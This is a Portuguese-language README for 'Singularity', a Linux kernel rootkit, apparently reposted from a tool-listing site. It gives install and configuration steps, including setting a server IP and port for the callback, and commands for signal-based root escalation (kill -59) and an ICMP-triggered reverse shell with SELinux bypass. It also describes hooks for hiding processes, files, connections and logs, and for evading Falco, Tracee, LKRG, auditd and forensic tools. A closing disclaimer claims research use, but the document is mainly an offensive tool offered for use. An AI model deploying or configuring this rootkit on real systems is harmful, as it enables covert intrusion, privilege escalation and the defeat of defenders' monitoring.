Singularity - Rootkit Stealth para Kernel Linux

"Vamos dar um pouco de trabalho à forense?"

Este projeto foi inspirado por uma mulher muito especial para mim: Mocinha

Singularity é um rootkit poderoso de Módulo de Kernel Linux (LKM) projetado para kernels modernos 6.x. Ele oferece capacidades abrangentes de stealth através de hooking avançado de chamadas de sistema via infraestrutura ftrace.

Artigo de Pesquisa Completo (versão desatualizada): Singularity: Um Rootkit de Kernel Linux de Chefão Final

Estudo de Caso de Evasão de EDR: Contornando o Elastic EDR com Singularity

Vídeo POC: Singularity vs ferramentas de segurança eBPF: Singularity vs ferramentas de segurança eBPF

Quebrando a Segurança eBPF com hooks do Singularity: Quebrando eBPF

O que é o Singularity?

O Singularity é um rootkit sofisticado que opera no nível do kernel, fornecendo:

Ocultação de Processos: Tornar qualquer processo completamente invisível para o sistema
Ocultação de Arquivos e Diretórios: Ocultar arquivos usando correspondência de padrões
Stealth de Rede: Ocultar conexões TCP/UDP, portas e entradas conntrack
Escalação de Privilégios: Acesso root instantâneo baseado em sinal
Sanitização de Logs: Filtrar logs do kernel e journals do sistema em tempo real
Auto-Ocultação: Remover-se das listas de módulos e monitoramento do sistema
Acesso Remoto: Reverse shell acionado por ICMP com ocultação automática
Anti-Detecção: Evitar ferramentas de segurança em tempo de execução baseadas em eBPF (Falco, Tracee), contornar o Linux Kernel Runtime Guard (LKRG) e impedir tentativas de bypass via io_uring
Evasão de Auditoria: Descartar mensagens de auditoria para processos ocultos no nível netlink com rastreamento de estatísticas e filtragem de inodes de socket
Evasão de Forense de Memória: Filtrar /proc/kcore, /proc/kallsyms, /proc/vmallocinfo
Filtragem de Cgroup: Filtrar PIDs ocultos de cgroup.procs
Evasão de Syslog: Hook do_syslog para filtrar o acesso ao buffer de anel do kernel via klogctl()
Evasão de Debugfs: Filtrar a saída de ferramentas como debugfs que leem dispositivos de bloco brutos
Filtragem de Conntrack: Ocultar conexões de /proc/net/nf_conntrack e consultas netlink SOCK_DIAG/NETFILTER
Evasão de SELinux: Bypass automático do modo enforcing do SELinux ao acionar ICMP
Bypass do LKRG: Evitar mecanismos de detecção do Linux Kernel Runtime Guard
Bypass de Segurança eBPF: Ocultar processos de ferramentas de segurança em tempo de execução baseadas em eBPF (Falco, Tracee)

Recursos

Elevação de privilégios baseada em sinal (kill -59)
Ocultação completa de processos do /proc e ferramentas de monitoramento
Ocultação de sistema de arquivos baseada em padrões para arquivos e diretórios
Ocultação de conexões de rede de netstat, ss, conntrack e analisadores de pacotes
Filtragem avançada de netlink (mensagens SOCK_DIAG, NETFILTER/conntrack)
Filtragem de log do kernel em tempo real para dmesg, journalctl e klogctl
Auto-ocultação de módulo de lsmod e /sys/module
Normalização automática da flag de taint do kernel
Filtragem de dados BPF para evitar detecção baseada em eBPF
Proteção io_uring contra bypass de E/S assíncrona
Mascaramento de logs para mensagens do kernel e logs do sistema
Evasão de detectores de rootkit padrão (unhide, chkrootkit, rkhunter)
Rastreamento e ocultação automática de processos filhos via hooks de tracepoint
Suporte a múltiplas arquiteturas (x64 + ia32)
Filtragem de pacotes em nível de rede com proteção de socket raw
Proteção contra todas as variantes de I/O de arquivo (read, write, splice, sendfile, tee, copy_file_range)
Filtragem de mensagens de auditoria em nível netlink com rastreamento de estatísticas para evitar detecção do auditd
Rastreamento de inodes de socket para ocultação abrangente de rede
Filtragem de PID de cgroup para evitar detecção via /sys/fs/cgroup/*/cgroup.procs
Bloqueio netlink do TaskStats para evitar enumeração de PID
Filtragem de /proc/kcore para evadir ferramentas de forense de memória (Volatility, crash, gdb)
Hook do_syslog para filtrar klogctl() e evitar vazamentos do buffer de anel do kernel
Filtragem de saída de dispositivo de bloco para evadir debugfs e ferramentas similares de forense de disco
Filtragem da saída de journalctl -k via hook de write
Capacidade de bypass do modo enforcing do SELinux para shells acionados por ICMP
Bypass das verificações de integridade do LKRG para processos ocultos
Ocultação de eventos do Falco via ringbuffer BPF e interceptação de eventos perf

Instalação

Pré-requisitos

Kernel Linux 6.x
Headers do kernel para o seu kernel em execução
GCC e Make
Acesso root

Instalação Rápida```bash

cd /dev/shm git clone https://github.com/MatheuZSecurity/Singularity cd Singularity sudo bash setup.sh cd ..

É isso. O módulo automaticamente:
- Esconde-se de lsmod, /proc/modules, /sys/module
- Limpa os flags de taint do kernel
- Filtra strings sensíveis de dmesg, journalctl -k, klogctl
- Começa a proteger seus arquivos e processos ocultos

### Notas Importantes

**O módulo se esconde automaticamente após o carregamento**

**Não há recurso de descarregamento - reinicialização necessária para remover**

**Teste em uma VM primeiro - não pode ser removido sem reiniciar**

## Configuração

### Defina Seu IP e Porta do Servidor

**Edite `include/core.h`:**```c
#define YOUR_SRV_IP "192.168.1.100"  // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } }  // IPv6 if needed

Editar modules/icmp.c:```c #define SRV_PORT "8081" // Change this to your desired port

**Editar `modules/bpf_hook.c`:**```c
#define HIDDEN_PORT 8081  // Must match SRV_PORT

Editar modules/hiding_tcp.c:```c #define PORT 8081 // Must match SRV_PORT

**Importante**: Todas as definições de porta devem coincidir para o funcionamento adequado da ocultação de rede e do shell reverso ICMP.

## Uso

### Ocultar Processos```bash
# Hide current shell
kill -59 $$

# Hide specific process
kill -59 <PID>

Processo ficará invisível para ps, top, htop, /proc e todas as ferramentas de monitoramento. Todos os processos filhos são automaticamente rastreados e ocultados.

Ocultar Arquivos e Diretórios

Arquivos que correspondem aos seus padrões configurados são ocultados automaticamente:```bash mkdir singularity echo "secret" > singularity/data.txt

Invisible to ls, find, locate

ls -la | grep singularity

(no output)

But you can still access it

cat singularity/data.txt

secret

cd is blocked for security

cd singularity

bash: cd: singularity: No such file or directory

<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/13713f834a730a67b38b024c092d77eb111a7d38e2fa0ac16a8f36ffd3506f90.png">
</p>

### Tornar-se Root

**Método baseado em sinal:**```bash
kill -59 $$
id  # uid=0(root)

Ocultar Conexões de Rede

Conexões na sua porta configurada (padrão: 8081) são ocultadas automaticamente:```bash nc -lvnp 8081

Invisible to all monitoring

ss -tulpn | grep 8081 # (no output) netstat -tulpn | grep 8081 # (no output) lsof -i :8081 # (no output) cat /proc/net/nf_conntrack | grep 8081 # (no output)

Even advanced netlink queries are filtered

ss -tapen | grep 8081 # (no output) conntrack -L | grep 8081 # (no output)

Pacotes são descartados no nível do socket raw (tpacket_rcv) e ocultados de:
- Interfaces /proc/net/* (tcp, tcp6, udp, udp6)
- /proc/net/nf_conntrack
- Consultas Netlink SOCK_DIAG (usadas por ss, lsof)
- Mensagens Netlink NETFILTER/conntrack (usadas pela ferramenta conntrack)

<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/a77a916efc8ee8b9091b3a0ef3acfde44eff570bc022477a3906fac1f623993f.png">
</p>

### Reverse Shell ICMP

Acione um reverse shell oculto remotamente com bypass automático de SELinux:

**1. Iniciar listener:**```bash
nc -lvnp 8081  # Use your configured port

2. Enviar gatilho ICMP:```bash sudo python3 scripts/trigger.py <target_ip>

**3. Receber shell root** (automaticamente ocultado com todos os processos filhos, modo de imposição SELinux ignorado se ativo)

<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/6d501d17287ba7f674b766dd25b281d2b26d9f420baa3bbc5a9cc9863db541fc.png">
</p>

## Mecanismos de Proteção

### Controle de Proteção Ftrace

Todas as tentativas de desabilitar o ftrace são interceptadas e bloqueadas silenciosamente:```bash
echo 0 > /proc/sys/kernel/ftrace_enabled       # Appears successful but does nothing

Protected syscalls: write, writev, pwrite64, pwritev, pwritev2, sendfile, sendfile64, splice, vmsplice, tee, copy_file_range, io_uring_enter (with intelligent per-PID caching)

Filtragem de Syscall BPF

O módulo bpf_hook.c implementa um sistema sofisticado de antidetecção contra ferramentas de segurança baseadas em eBPF. Em vez de bloquear completamente as syscalls BPF (o que seria uma impressão digital de detecção), ele filtra seletivamente os dados no nível do kernel para tornar processos e conexões ocultos invisíveis para programas eBPF.

Estratégia: Interceptar funções de coleta e relatório de dados usadas por programas eBPF, não a syscall BPF em si. Isso permite que ferramentas eBPF legítimas funcionem normalmente, impedindo que vejam recursos ocultos.

Recursos protegidos:

Processos ocultos e toda a sua árvore de processos (até 10 níveis pai)
Conexões de rede na porta configurada (padrão: 8081) ou para o endereço IP configurado
Inodes de socket associados a processos ocultos

Pontos de interceptação:

Execução de iterador (enumeração de processo/socket)
Operações de ringbuffer (submissão de eventos para o espaço do usuário)
Operações de mapa BPF (consultas e inserções de PID)
Saída de evento Perf (entrega de eventos eBPF legados)
Escritas em arquivo Seq (formatação de saída)
Execução de programa (filtragem baseada em contexto)

Essa abordagem derrota ferramentas de segurança eBPF sem disparar alertas que viriam do bloqueio total de operações BPF.

Proteção io_uring

Proteção contra bypass de io_uring em tentativas de ftrace_enabled e tracing_on com cache inteligente (cache de 1 segundo por PID para evitar varredura repetida de processos e reduzir sobrecarga)

Sanitização de Log

Filtragem em tempo real de strings sensíveis de todas as interfaces de log do kernel:

Palavras-chave filtradas: taint, journal, singularity, Singularity, matheuz, zer0t, kallsyms_lookup_name, obliviate, hook, hooked_, constprop, clear_taint, ftrace_helper, fh_install, fh_remove

Nota: Mensagens de auditoria para PIDs ocultos são descartadas no nível netlink com rastreamento de estatísticas (get_blocked_audit_count, get_total_audit_count)

Evasão de Forense de Disco

O Singularity hooka a syscall write para detectar e filtrar a saída de ferramentas de forense de disco:

Como funciona:

Detecta se o processo tem um dispositivo de bloco aberto (/dev/sda, /dev/nvme0n1, etc)
Detecta padrões de saída estilo debugfs (listagens de inode, metadados do sistema de arquivos)
Sanitiza padrões ocultos no local (substitui por espaços para manter tamanho do buffer/checksums)```bash

Hidden files are invisible even to raw disk analysis

debugfs /dev/sda3 -R 'ls -l /home/user/singularity'

(spaces where "singularity" was)

The pattern is sanitized in the output buffer

Checksums remain valid, no corruption

**Padrões detectados:**
- `debugfs:` prefixo
- Listagens de inode com parênteses
- `Inode count:`, `Block count:`, `Filesystem volume name:`
- `Filesystem UUID:`, `e2fsck`, `Inode:`

### Implementação de Ocultação de Processos

Ocultação completa de syscalls e interfaces do kernel:
- /proc/[pid]/* (openat, readlinkat bloqueados)
- getdents, getdents64 (listagem de diretório filtrada)
- stat, lstat, statx, newfstatat (metadados ocultos)
- kill com sinal 0 (retorna ESRCH)
- getsid, getpgid, getpgrp (retorna ESRCH)
- sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval (retorna ESRCH)
- getpriority (retorna ESRCH)
- sysinfo (contagem de processos ajustada)
- pidfd_open (retorna ESRCH)
- Consultas netlink do TaskStats (retorna ESRCH)
- PIDs de Cgroup filtrados de cgroup.procs

Processos filhos rastreados automaticamente via hook do tracepoint sched_process_fork.

### Bypass do LKRG

O Singularity implementa evasão abrangente contra o Linux Kernel Runtime Guard:

**Verificações burladas:**
- Validação de credenciais de processo (p_cmp_creds)
- Integridade da estrutura de tarefa (p_cmp_tasks)
- Validação de Integridade do Fluxo de Controle (p_ed_pcfi_validate_sp, p_ed_enforce_pcfi)
- Verificações de integridade do kernel (p_check_integrity)
- Subsistema de detecção de exploração (p_exploit_detection_init)
- Rastreamento de helper em modo de usuário (p_call_usermodehelper_entry, p_call_usermodehelper_exec_entry)
- Despejo e enumeração de tarefas (p_dump_task_f, ed_task_add)
- Intercepção do manipulador kprobe ftrace

**Funcionalidades:**
- Detecção automática do LKRG e instalação de hook
- Verificação de linhagem de processos (oculta árvores inteiras de processos até 64 níveis de profundidade)
- Bypass de UMH para operações de reverse shell
- Sistema de notificação de módulo para detectar carregamento do LKRG

Processos ocultos são invisíveis para todos os mecanismos de verificação de integridade do LKRG.

### Bypass do Falco

O Singularity implementa um sistema abrangente de defesa anti-EDR que impede que ferramentas de segurança baseadas em eBPF detectem processos ocultos e conexões de rede. A proteção funciona interceptando funções do kernel que programas eBPF usam para coletar e relatar dados.

**Protegido contra:**
- Falco (segurança em tempo de execução baseada em eventos)
- Tracee (rastreamento de segurança)
- bpftool e ss com backend BPF

**Intercepção em múltiplas camadas:**

1. **Filtragem de iteradores** (bpf_iter_run_prog)
   - Filtra sockets na porta oculta de iteradores TCP/UDP
   - Oculta processos e seus filhos de iteradores de tarefas
   - Previne detecção via `ss` e ferramentas de enumeração de processos

2. **Bloqueio de eventos de ringbuffer** (bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit)
   - Detecta estruturas de evento do Falco analisando o formato do cabeçalho
   - Bloqueia alocação, submissão e saída de eventos para PIDs ocultos
   - Impede que eventos de syscall cheguem ao agente userspace do Falco

3. **Manipulação de mapas BPF** (bpf_map_lookup_elem, bpf_map_update_elem)
   - Retorna NULL quando eBPF procura PIDs ocultos em mapas
   - Descarta silenciosamente inserções em mapas onde a chave é um PID oculto
   - Impede que ferramentas de segurança eBPF rastreiem processos ocultos

4. **Supressão de eventos perf** (perf_event_output, perf_trace_run_bpf_submit)
   - Bloqueia submissão de eventos baseados em perf de processos ocultos
   - Impede que ferramentas eBPF legadas recebam dados de rastreamento

5. **Filtragem de arquivos seq** (bpf_seq_write, bpf_seq_printf)
   - Examina dados de saída em busca de PIDs ocultos antes de escrever
   - Previne vazamento via interfaces /proc usadas por iteradores eBPF

6. **Controle de execução de programa** (__bpf_prog_run)
   - Bloqueia a execução de programa eBPF quando executado no contexto de um processo oculto
   - Impede qualquer monitoramento baseado em eBPF dos internos do processo oculto

**Ocultação de socket e conexão:**
- Armazena em cache o endereço IP oculto para desempenho
- Filtra sockets com base na porta configurada e IP configurado
- Oculta conexões IPv4 e IPv6
- Funciona no nível do iterador (antes que os dados cheguem aos programas eBPF)

**Rastreamento de linhagem de processos:**
- Rastreia a cadeia de processos pai até 10 níveis de profundidade
- Oculta automaticamente todos os descendentes de processos ocultos
- Garante que processos filhos gerados após a ocultação permaneçam invisíveis

Processos e conexões ocultos geram zero eventos visíveis para ferramentas de segurança eBPF.

## Ferramentas de Segurança Burladas

**Monitoramento de Processos**: ps, top, htop, atop, pidof

**Sistema de Arquivos**: ls, find, locate, stat, lstat, readlink, tree

**Forense de Disco**: debugfs, e2fsck (saída filtrada via hook de escrita)

**Forense de Memória**: Volatility, crash, gdb (via filtragem de /proc/kcore)

**Rede**: netstat, ss, lsof, tcpdump, wireshark, conntrack, nload, iftop, /proc/net/*

**Logs e Rastreamentos**: dmesg, journalctl, klogctl, strace, ltrace, ftrace, perf

**Detectores de Rootkit**: unhide, chkrootkit, rkhunter, OSSEC

**Detecção de Módulo**: lsmod, modinfo, /sys/module, /proc/modules, kmod

**Segurança do Kernel**: LKRG (Linux Kernel Runtime Guard)

**Ferramentas de Segurança eBPF**:
- Falco (monitoramento de segurança em tempo de execução)
- Tracee (rastreamento de segurança)
- bpftrace, bpftool (quando usados para monitoramento)

**EDR/Monitoramento**: monitores baseados em io_uring, algumas soluções EDR Linux, auditd

## Hooks de Syscall

| Syscall/Função | Módulo | Propósito |
|---------|--------|---------|
| getdents, getdents64 | hiding_directory.c | Filtrar entradas de diretório, ocultar PIDs |
| stat, lstat, newstat, newlstat, statx, newfstatat | hiding_stat.c | Ocultar metadados de arquivo, ajustar nlink |
| getpriority | hiding_stat.c | Ocultar consultas de prioridade para PIDs ocultos |
| openat | open.c | Bloquear acesso a /proc/[pid] oculto |
| readlinkat | hiding_readlink.c | Bloquear resolução de links simbólicos |
| chdir | hiding_chdir.c | Impedir cd em diretórios ocultos |
| read, pread64, readv, preadv | clear_taint_dmesg.c | Filtrar logs do kernel, kcore, kallsyms, PIDs de cgroup, nf_conntrack |
| do_syslog | clear_taint_dmesg.c | Filtrar buffer de anel do kernel klogctl()/syslog() |
| sched_debug_show | clear_taint_dmesg.c | Filtrar saída de depuração do escalonador |
| write, writev, pwrite64, pwritev, pwritev2 | hooks_write.c | Bloquear controle ftrace + filtrar forense de disco + filtrar saída do journalctl |
| sendfile, sendfile64, copy_file_range | hooks_write.c | Bloquear cópias de arquivo para arquivos protegidos |
| splice, vmsplice, tee | hooks_write.c | Bloquear escritas baseadas em pipe para arquivos protegidos |
| io_uring_enter | hooks_write.c | Bloquear bypass de I/O assíncrono com cache de PID |
| kill | become_root.c | Gatilho de root + ocultar processos |
| getsid, getpgid, getpgrp | become_root.c | Retorna ESRCH para PIDs ocultos |
| sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval | become_root.c | Retorna ESRCH para PIDs ocultos |
| sysinfo | become_root.c | Ajusta contagem de processos |
| pidfd_open | become_root.c | Retorna ESRCH para PIDs ocultos |
| tcp4_seq_show, tcp6_seq_show | hiding_tcp.c | Ocultar conexões TCP de /proc/net |
| udp4_seq_show, udp6_seq_show | hiding_tcp.c | Ocultar conexões UDP de /proc/net |
| tpacket_rcv | hiding_tcp.c | Descartar pacotes no nível de socket raw |
| recvmsg, recvfrom | audit.c | Filtrar mensagens netlink SOCK_DIAG e NETFILTER |
| netlink_unicast | audit.c | Descartar mensagens de auditoria para PIDs ocultos |
| audit_log_start | audit.c | Bloquear criação de log de auditoria para processos ocultos |
| bpf | bpf_hook.c | Filtrar operações eBPF para PIDs ocultos |
| bpf_iter_run_prog | bpf_hook.c | Ocultar processos ocultos de iteradores BPF |
| bpf_seq_write, bpf_seq_printf | bpf_hook.c | Filtrar saída de arquivo seq BPF |
| bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit | bpf_hook.c | Filtrar eventos do Falco via ringbuffer |
| bpf_map_lookup_elem, bpf_map_update_elem | bpf_hook.c | Filtrar operações de mapa BPF |
| perf_event_output, perf_trace_run_bpf_submit | bpf_hook.c | Filtrar eventos perf para processos ocultos |
| __bpf_prog_run | bpf_hook.c | Filtrar execução de programa BPF |
| icmp_rcv | icmp.c | Reverse shell acionado por ICMP com bypass do SELinux |
| taskstats_user_cmd | task.c | Bloquear consultas TaskStats para PIDs ocultos |
| sched_process_fork (tracepoint) | trace.c | Rastrear processos filhos |
| kprobe_ftrace_handler | lkrg_bypass.c | Bypass da detecção kprobe do LKRG |
| p_cmp_creds, p_cmp_tasks | lkrg_bypass.c | Bypass das verificações de credenciais do LKRG |
| p_ed_pcfi_validate_sp, p_ed_enforce_pcfi | lkrg_bypass.c | Bypass da validação CFI do LKRG |
| p_check_integrity | lkrg_bypass.c | Bypass das verificações de integridade do LKRG |
| p_dump_task_f, ed_task_add | lkrg_bypass.c | Ocultar da enumeração de tarefas do LKRG |
| p_call_usermodehelper_entry, p_call_usermodehelper_exec_entry | lkrg_bypass.c | Bypass do rastreamento UMH do LKRG |
| p_exploit_detection_init | lkrg_bypass.c | Bypass da detecção de exploração do LKRG |
| tainted_mask (kthread) | reset_tainted.c | Limpar flags de taint do kernel |
| module_hide_current | hide_module.c | Remover de listas de módulo e sysfs |

**Suporte a Múltiplas Arquiteturas**: x86_64 (`__x64_sys_*`) e ia32 (`__ia32_sys_*`, `__ia32_compat_sys_*`)

## Versões de Kernel Testadas

| Versão do Kernel | Distribuição | Status | Notas |
|---------------|--------------|--------|-------|
| 6.8.0-79-generic | Ubuntu 22.04 / 24.04 | Estável | Ambiente de desenvolvimento principal |
| 6.12.0-174.el10.x86_64 | CentOS Stream 10 | Estável | Kernel baseado em RHEL |
| 6.12.48+deb13-amd64 | Debian 13 (Trixie) | Estável | Kernel Debian |
| 6.17.8-300.fc43.x86_64 | Fedora 43 | Estável | Bypass de modo enforcing do SELinux validado |
| 6.17.0-8-generic | Ubuntu 25.10 | Estável | Kernel genérico mais novo, totalmente funcional |
| 6.14.0-37-generic | Ubuntu 24.04 | Estável | Bypass do LKRG e Falco validado |
| 6.12.25-amd64 | Kali Linux | Estável | Kali 6.12.25-1kali1 |

## A Trama

Infelizmente para alguns...

Mesmo com todos esses filtros, proteções e hooks, ainda existem maneiras de detectar este rootkit.

Mas se você é um bom analista forense, profissional de DFIR ou pesquisador de malware, vou deixar você descobrir por conta própria.

Não vou corrigir isso, porque será muito mais OP ;)

## Créditos

**Singularity** foi criado por **MatheuZSecurity** (Matheus Alves)

- LinkedIn: [mathsalves](https://www.linkedin.com/in/mathsalves/)
- Discord: `kprobe`

**Junte-se aos Pesquisadores de Rootkit**: Discord - [https://discord.gg/66N5ZQppU7](https://discord.gg/66N5ZQppU7)

### Referências de Código

- [fuxSocy](https://github.com/iurjscsi1101500/fuxSocy/tree/main)
- [Adrishya](https://github.com/malefax/Adrishya/blob/main/Adrishya.c#L158)
- [MatheuZSecurity/Rootkit](https://github.com/MatheuZSecurity/Rootkit)

### Inspiração de Pesquisa

- [KoviD](https://github.com/carloslack/KoviD)
- [Basilisk](https://github.com/lil-skelly/basilisk)
- [GOAT Diamorphine rootkit](https://github.com/m0nad/Diamorphine)

## Contribuindo

- Envie pull requests para melhorias
- Reporte bugs via issues do GitHub
- Sugira novas técnicas de evasão
- Compartilhe métodos de detecção (para pesquisa)

**Encontrou um bug?** Abra uma issue ou entre em contato comigo no Discord: `kprobe`

**APENAS PARA FINS EDUCACIONAIS E DE PESQUISA**

Singularity foi criado como um projeto de pesquisa para explorar os limites das técnicas de ocultação em nível de kernel. O objetivo é responder a uma pergunta: **"Até onde um rootkit pode se esconder se conseguir infiltrar e carregar em um sistema?"**

Este projeto existe para:
- Ultrapassar os limites da pesquisa de segurança ofensiva
- Ajudar defensores a entender o que estão enfrentando
- Fornecer um recurso de aprendizado sobre internos do kernel e técnicas de evasão
- Contribuir para a base de conhecimento da comunidade de segurança

**Não sou responsável por qualquer uso indevido deste software.** Se você escolher usar o Singularity para fins maliciosos, é por sua conta. Esta ferramenta é fornecida como está apenas para pesquisa, educação e testes de segurança autorizados.

Teste apenas em sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. O acesso não autorizado a sistemas de computador é ilegal na maioria das jurisdições.

**Seja um pesquisador, não um criminoso.**

`dmesg`	hook de leitura em /proc/kmsg	Filtrado
`journalctl -k`	hook de escrita (filtragem de saída)	Filtrado
`klogctl()` / `syslog()`	hook do_syslog	Filtrado
`/sys/kernel/debug/tracing/*`	hook de leitura	Filtrado
`/var/log/kern.log`, `syslog`, `auth.log`	hook de leitura	Filtrado
`/proc/kallsyms`, `/proc/kcore`, `/proc/vmallocinfo`	hook de leitura	Filtrado
`/proc/net/nf_conntrack`	hook de leitura	Filtrado

Singularity

Mais Populares